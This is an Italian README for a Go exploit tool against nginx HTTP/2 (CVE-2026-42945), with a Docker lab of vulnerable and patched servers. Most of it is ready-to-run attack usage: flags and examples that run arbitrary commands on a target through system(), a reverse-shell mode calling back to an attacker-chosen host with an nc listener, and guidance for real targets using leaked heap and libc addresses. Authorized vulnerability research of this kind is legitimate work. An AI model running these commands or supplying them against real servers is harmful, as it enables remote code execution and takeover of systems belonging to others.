
Strumento PoC basato su Go per CVE-2026-42945 (nginx HTTP/2) con capacità di rilevamento, test di crash, esecuzione di comandi e reverse shell in ambienti autorizzati.
Italiano | English
Strumento di rilevamento e sfruttamento ausiliario per l'implementazione di nginx HTTP/2 (CVE-2026-42945), utilizzato per verificare la presenza della vulnerabilità in ambienti autorizzati, confrontare gli effetti delle correzioni e riprodurre il comportamento del PoC in un ambiente sperimentale controllato.
Versioni interessate (stima): nginx 0.6.27 – 1.30.0; 1.30.1+ / 1.31.0+ sono state corrette.
Questo repository è destinato esclusivamente a scopi di ricerca sulla sicurezza, verifica delle vulnerabilità e test difensivi.
Se non accetti i termini di cui sopra, interrompi immediatamente l'uso ed elimina questo repository.
go.mod)make, golangci-lint (sviluppo/controllo codice)GET /api/, POST /spray ecc.); le immagini Docker sperimentali lo contengono già# Costruzione rapida (output in bin/, già in .gitignore)
make build-cmd
# Oppure direttamente con go
go build -o ./bin/cve-2026-42945 ./cmd
# Visualizza versione incorporata
./bin/cve-2026-42945 -version
Binari pubblicati: scarica cve-2026-42945-<os>-<arch> per la tua piattaforma dalle Release (costruiti automaticamente da GitHub Actions dopo il push di un tag v*).
-target string IP/nome host target (default 127.0.0.1)
-port int Porta target (0=80; versione vulnerabile Docker usa solitamente 19321)
-docker Test ambiente sperimentale Docker locale (vuln:19321, fixed:19331)
-check-only Solo rilevamento, nessun traffico exploit
-probe-crash Rilevamento overflow + canale laterale crash worker
-cmd string Comando eseguito tramite system()
-shell Reverse shell (richiede -lhost)
-lhost string IP locale per reverse shell
-lport int Porta locale per reverse shell (default 4444)
-docker-profile Usa indirizzi heap/libc misurati da deploy/docker
-heap-base string Indirizzo heap (hex, es. 0x555555659000)
-libc-base string Indirizzo libc (hex)
-tries int Numero di tentativi per candidato heap (default 10)
-timeout int Timeout HTTP in secondi (default 5)
-v Output dettagliato
-version Mostra versione ed esce
La modalità
-dockernon può essere usata insieme a-cmd/-shell; per lo sfruttamento su singolo target specificare-port 19321.
./bin/cve-2026-42945 -target 192.168.1.10 -port 80 -check-only
./bin/cve-2026-42945 -port 19321 -probe-crash -v
Avvia prima i contenitori sperimentali:
make docker-up
# oppure
docker compose -f deploy/docker-compose.yml up -d --build
La prima compilazione richiede la compilazione di nginx, potrebbero volerci alcuni minuti; attendere che i servizi siano
healthyindocker compose psprima di eseguiremake test-lab.
| Servizio | Porta | Descrizione |
|---|---|---|
| vuln | 19321 | nginx 1.30.0 (vulnerabile) |
| fixed | 19331 | nginx 1.30.1 (corretto) |
Rilevamento batch:
./bin/cve-2026-42945 -docker -check-only
./bin/cve-2026-42945 -docker -probe-crash
Oppure usando i target Makefile:
make test-lab # check + probe
make cmd-exploit # Scrive /tmp/pwned sul contenitore vuln e mostra comandi di verifica
Il contenitore sperimentale ha la massima probabilità di successo con ASLR disabilitata (setarch -R) e usando -docker-profile per indirizzi preimpostati:
./bin/cve-2026-42945 -port 19321 -docker-profile \
-cmd 'echo pwned > /tmp/pwned' -v
# Verifica se il file è stato scritto
docker exec nginx-rift-vuln-1.30.0 cat /tmp/pwned
# Terminale 1: avvia lo strumento (prova ad ascoltare in background con nc)
./bin/cve-2026-42945 -port 19321 -docker-profile -shell -lhost 10.0.0.5 -lport 4444 -v
# Se nc non viene trovato, apri un altro terminale e ascolta manualmente:
nc -lvnp 4444
Se il target reale ha ASLR, versione libc diversa da Docker, è necessario divulgare o stimare gli indirizzi:
# Il target deve essere una porta HTTP in chiaro (non TLS)
./bin/cve-2026-42945 -target TARGET -port 8080 \
-heap-base 0x555555659000 \
-libc-base 0x7ffff77ba000 \
-cmd 'id' -tries 20 -v
[+] Canale laterale: worker anomalo: indica solo che il worker potrebbe essere andato in crash a causa di un overflow, non può essere considerato da solo come prova di RCE riuscito.docker exec ecc.).cmd/ Entry point del programma principale
internal/rift/ Logica di rilevamento, costruzione payload e sfruttamento
deploy/docker/ Immagini sperimentali nginx 1.30.0 / 1.30.1
deploy/docker-compose.yml
.github/workflows/ Build multi-piattaforma per le Release
make help # Mostra tutti i target make
make test # Test unitari
make lint # golangci-lint
make version # Mostra il numero di versione corrente
Pubblicazione nuova versione:
git tag v1.0.0
git push origin v1.0.0
Usa questo strumento solo su sistemi che hai il diritto di testare. Qualsiasi abuso non è responsabilità degli autori.
| Modalità | Descrizione |
|---|
-check-only | Prova di connettività, header Server, stima versione, rilevamento endpoint PoC |
-probe-crash | Invia un ciclo di rilevamento overflow, determina tramite canale laterale di crash del worker |
-cmd | Costruisce il payload exploit, esegue il comando specificato tramite system() |
-shell | Reverse shell (richiede -lhost, host locale deve avere nc) |
-docker | Test batch dell'ambiente sperimentale Docker locale (vuln / fixed) |
| Elemento | Descrizione |
|---|
| Protocollo | supporta solo HTTP in chiaro (net.Dial + byte HTTP grezzi), non supporta HTTPS/TLS. Per porte TLS come -port 443, è necessario un terminatore TLS a monte o utilizzare una porta HTTP. |
| Docker sperimentale | le immagini sono linux/amd64, il primo docker compose build richiede la compilazione di nginx dal sorgente, ci vuole tempo; all'interno del contenitore viene usato setarch -R per disabilitare ASLR, molto diverso dall'ambiente di produzione. |
| Apple Silicon | Docker locale emula con platform: linux/amd64, più lento. |
| Reverse shell | -shell dipende da nc di sistema, su Windows si consiglia di ascoltare manualmente. |
| Verifica dello sfruttamento | il canale laterale (crash del worker) non equivale a RCE, è necessario verificare indipendentemente gli effetti collaterali del comando. |